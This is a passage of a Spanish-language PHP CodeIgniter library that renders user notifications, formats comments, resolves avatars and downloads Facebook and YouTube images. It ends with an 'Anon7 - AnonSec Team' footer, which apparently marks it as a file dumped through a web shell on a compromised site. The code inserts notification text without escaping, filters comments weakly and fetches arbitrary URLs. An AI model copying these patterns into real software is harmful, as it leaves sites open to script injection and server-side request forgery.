                                {
                                    $(\'.triangulito\').hide();
                                    $(\'#not-list\').css(\'display\',\'none\');
                                    $(\'#not-list-ul > li\').attr(\'class\',\'leido\');
                                    $(\'#not-list-ul li:last-child\').attr(\'class\',\'vm\');
                                }
                            }

                        </script>';

            //$notificaciones = $this->CI->comunidad_modelo->dameNotificacionesResumen($u['id'],10,0);
            $this->CI->load->library('memcached_library');
            $notificaciones = $this->CI->memcached_library->get('resumen_notificaciones_'.$u['id']);
            //echo "<pre>".print_r($notificaciones,true)."</pre>";
            
            $count = 0;
            
            $li ='';
            if (is_array($notificaciones))
            {
                foreach($notificaciones as $ind => $n)
                {
                    $leido ='';
                    
                    if(isset($u['fun']) and $u['fun']!='')
                    {
                        if($u['fun'] >= $n['fecha'])
                        {
                            $leido = ' class="leido"';
                        }
                        else
                        {
                            $count ++;
                        }
                    }

                    $li .='<li'.$leido.'>';

                    if ($n['usuario_id_origen']!=1)
                    {
                        $avatar = $this->armarAvatarLector($n['usuario_id_origen'],0,1,1);
                        $arr= explode(" ", $n['accion_desc']);
                        $li .='<div class="mcntf">
                                <a class="mcavatar" href="#"><img src="'.$avatar.'" width="40" height="40"></a>
                                <div class="fl h12" style="width:82%;">
                                    '.$n['accion_desc'].'
                                </div>
                                <div class="limpia"></div>
                            </div>';
                    }
                    elseif ($n['tipo']==4)
                    {
                        $li .='<div class="mcntf">
                                    <span class="mcavatar mcicofoto '.(strpos($n['accion_desc'], ' habilitada')>0 ? 'mcicoverd':'mcicorojo').'" href="#"></span>
                                    <div class="fl h12" style="width:82%;">
                                        '.$n['accion_desc'].'
                                    </div>
                                    <div class="limpia"></div>
                                </div>';
                    }
                    elseif ($n['tipo']==3)
                    {
                        $li .='<div class="mcntf">
                                    <span class="mcavatar mciconota '.(strpos($n['accion_desc'], ' habilitada')>0 ? 'mcicoverd':'mcicorojo').'" href="#"></span>
                                    <div class="fl h12" style="width:82%;">
                                        '.$n['accion_desc'].'
                                    </div>
                                    <div class="limpia"></div>
                                </div>';
                    }
                    elseif ($n['tipo']==1)
                    {
                        $li .='<div class="mcntf">
                                    <span class="mcavatar mcicocome '.(strpos($n['accion_desc'], ' deshabilitad')>0 ? 'mcicorojo':'').'" href="#"></span>
                                    <div class="fl h12" style="width:82%;">
                                        '.$n['accion_desc'].'
                                    </div>
                                    <div class="limpia"></div>
                                </div>';
                    }
                    elseif ($n['tipo']==6)
                    {
                        $li .='<div class="mcntf">
                                    <span class="mcavatar mcicoeven '.(strpos($n['accion_desc'], ' habilitado')>0 ? 'mcicoverd':'mcicorojo').'" href="#"></span>
                                    <div class="fl h12" style="width:82%;">
                                        '.$n['accion_desc'].'
                                    </div>
                                    <div class="limpia"></div>
                                </div>';
                    }
                    $li .='</li>';
                    if($ind == 4)
                        break;
                }
                $li_final = '<li class="vm"><a href="'.site_url('usuarios/notificaciones').'">Ver Todas...</a></li>';
            }
            else
                $li_final = '<li class="vm"><a href="'.site_url('usuarios/notificaciones').'">No tenés notificaciones nuevas</a></li>';

            if($count>0)
                $content .="<script>setTimeout('$(\'#not-cant\').show();',5000);</script>";

            if($count>5)
                $count = '+5';

            $content .='
                        <div id="notificador" class="lgnotif">
                            <div class="lgnot">
                                <a id="algnot" href="javascript:void(0);" onclick="mostrar_notificaciones();"></a>
                                    <div id="not-cant" class="lgrojo"><a id="not-cat-num" href="javascript:void(0);" onclick="mostrar_notificaciones();">'.$count.'</a></div>
                                    <div class="triangulito"></div>
                                    <div id="not-list">
                                        <div id="not-list-list">
                                            <ul id="not-list-ul">
                                            '.$li.$li_final.'
                                            </ul>
                                        </div>
                                    </div>
                            </div>
                        </div>';
            return $content;
        }
        else
        {
            return false;
        }
    }

    public function armarComentario($comentario,$objeto_id=0,$tipo=0)
    {
        $comentario = str_replace("<", "", $comentario);
        $partes = explode(" ",$comentario);
        $texto_todo = "";
        if (count($partes) > 0)
        {
            $paso = 0;
            foreach ($partes as $texto)
            {
                if ($paso == 0)
                {
                    $paso = 1;
                    if(preg_match("/^#/",$texto))
                    {
                        $ref = (int) substr($texto,1);
                        if ($ref > 0)
                        {
                            if ($objeto_id > 0)
                            {
                                $htm = $objeto_id."_".$tipo."_".$ref;
                                $texto_todo .= "<a href='#' class='tooltiptxt' id='".$htm."'>#".$ref."</a>";
                            }
                            else
                                $texto_todo .= "<a href='#' class='tooltiptxt' id='$ref'>#".$ref."</a>";
                        }
                    }
                    else
                    {
                        $texto_todo .= $texto;
                    }
                }
                else
                {
                    if(preg_match("/^#/",$texto))
                    {
                        $ref = (int) substr($texto,1);
                        if ($ref > 0)
                        {
                            if ($objeto_id > 0)
                            {
                                $htm = $objeto_id."_".$tipo."_".$ref;
                                $texto_todo .= "<a href='#' class='tooltiptxt' id='".$htm."'>#".$ref."</a>";
                            }
                            else
                                $texto_todo .= " <a href='#' class='tooltiptxt' id='$ref'>#".$ref."</a>";
                        }
                    }
                    else
                    {
                        $texto_todo .= " ".$texto;
                    }
                }
            }
            return $texto_todo;
        }
        else
            return $comentario;
    }

    public function armarAvatarLector($usuario_id,$imagen_estado)
    {
        
            $avatar1 = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".jpg";
            $avatar2 = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".png";
            $avatar3 = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".gif";
            $avatar4 = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".jpeg";
            if (file_exists($avatar1) and $imagen_estado==1)
            {
                $avatar_def = URL_BASE_FILE."fotos/avatar_lector/".$usuario_id.".jpg";
                $avatar_def = site_url("fotos/avatar_lector/".$usuario_id.".jpg");
            }
            elseif (file_exists($avatar2) and $imagen_estado==1)
            {
                $avatar_def = URL_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".png";
            }
            elseif (file_exists($avatar3) and $imagen_estado==1)
            {
                $avatar_def = URL_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".gif";
            }
            elseif (file_exists($avatar4) and $imagen_estado==1)
            {
                $avatar_def = URL_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".jpeg";
                $avatar_def = site_url("fotos/avatar_lector/".$usuario_id.".jpeg");
            }
            else
                $avatar_def = site_url("img/noavatar.png");
    
        return $avatar_def;
    }

    public function armarAvatarPerfil($usuario_id)
    {
        $avatar1 = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".jpg";
        $avatar2 = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".png";
        $avatar3 = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".gif";
        $avatar4 = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".jpeg";
        if (file_exists($avatar1))
        {
            $avatar_def = URL_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".jpg";
        }
        elseif (file_exists($avatar2))
        {
            $avatar_def = URL_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".png";
        }
        elseif (file_exists($avatar3))
        {
            $avatar_def = URL_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".gif";
        }
        elseif (file_exists($avatar4))
        {
            $avatar_def = URL_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".jpeg";
        }
        else
            $avatar_def = site_url("img/noavatar.png");

        return $avatar_def;
    }

    public function descarga_avatar_face($user_id,$facebook_id)
    {
        $avatar_origen = "https://graph.facebook.com/".$facebook_id."/picture?width=150&height=150";
        $avatar_destino = PATH_BASE_FILE . "fotos/avatar_lector/".$user_id.".jpg";

        $avatar_descargado = file_get_contents($avatar_origen, false);
        if ($avatar_descargado)
            file_put_contents($avatar_destino,$avatar_descargado);
        else return false;
    }

    public function descarga_imagen_youtube($video_codigo, $video_id, $tam=0){

        $imagen_origen = "http://i2.ytimg.com/vi/".$video_codigo."/0.jpg";
        $imagen_origen_1 = "http://i2.ytimg.com/vi/".$video_codigo."/1.jpg";
        $imagen_path = PATH_BASE_FILE."fotos/videos/".$video_id."_0.jpg";
        $imagen_path_1 = PATH_BASE_FILE."fotos/videos/".$video_id."_1.jpg";

        $imagen_url = URL_BASE_FILE."fotos/videos/".$video_id."_".$tam.".jpg";

        if(!file_exists($imagen_path)){
            
            $aContext = array(
                'http' => array(
                    //'proxy' => PROXY_HOST_TCP,
                    'request_fulluri' => true,
                ),
            );
        
            $cxContext = stream_context_create($aContext);

            $imagen_descargada = file_get_contents($imagen_origen, false, $cxContext);
            if ($imagen_descargada)
                file_put_contents($imagen_path,$imagen_descargada);

            $imagen_descargada_1 = file_get_contents($imagen_origen_1, false, $cxContext);
            if ($imagen_descargada_1)
                file_put_contents($imagen_path_1,$imagen_descargada_1);

          //  if(file_exists($imagen_path))
                return $imagen_url;

        }
        else
            return $imagen_url;
    }

    public function pingUrl($url)
    {
         if(substr($url, 0,8)=="https://") {
            $dir=explode(':', $url);
           $dir[0]=str_replace('s', '', $url);
           $url=$dir[0].$dir[1];
        }elseif (substr($url,0,7)!="http://") {
            $url="http://".$url;
        }
       
        $ch=curl_init();
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_HEADER, TRUE);
        curl_setopt($ch, CURLOPT_NOBODY, TRUE);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        curl_setopt($ch, CURLOPT_FAILONERROR, TRUE);
        curl_setopt($ch, CURLOPT_HTTPGET, TRUE);
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
        /*curl_setopt($ch, CURLOPT_PROXY, PROXY_HOST);
        curl_setopt($ch, CURLOPT_PROXYPORT, PROXY_PORT);*/
        $resultado=curl_exec($ch);        
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if($httpCode < 405)
            return true;
        else
            return false;

    }

    function DownloadImage($usuario_id, $facebook_id){
        $avatar_origen = "https://graph.facebook.com/10204693927332714/picture?width=150&height=150";
        $avatar_destino = PATH_BASE_FILE . "fotos/avatar_lector/".$usuario_id.".jpg";
 
        $imagen_descargada = file_get_contents($avatar_origen, false);
        if ($imagen_descargada)
            file_put_contents($avatar_destino,$imagen_descargada);
       
        return $imagen_descargada;
    }

}

Anon7 - 2022
AnonSec Team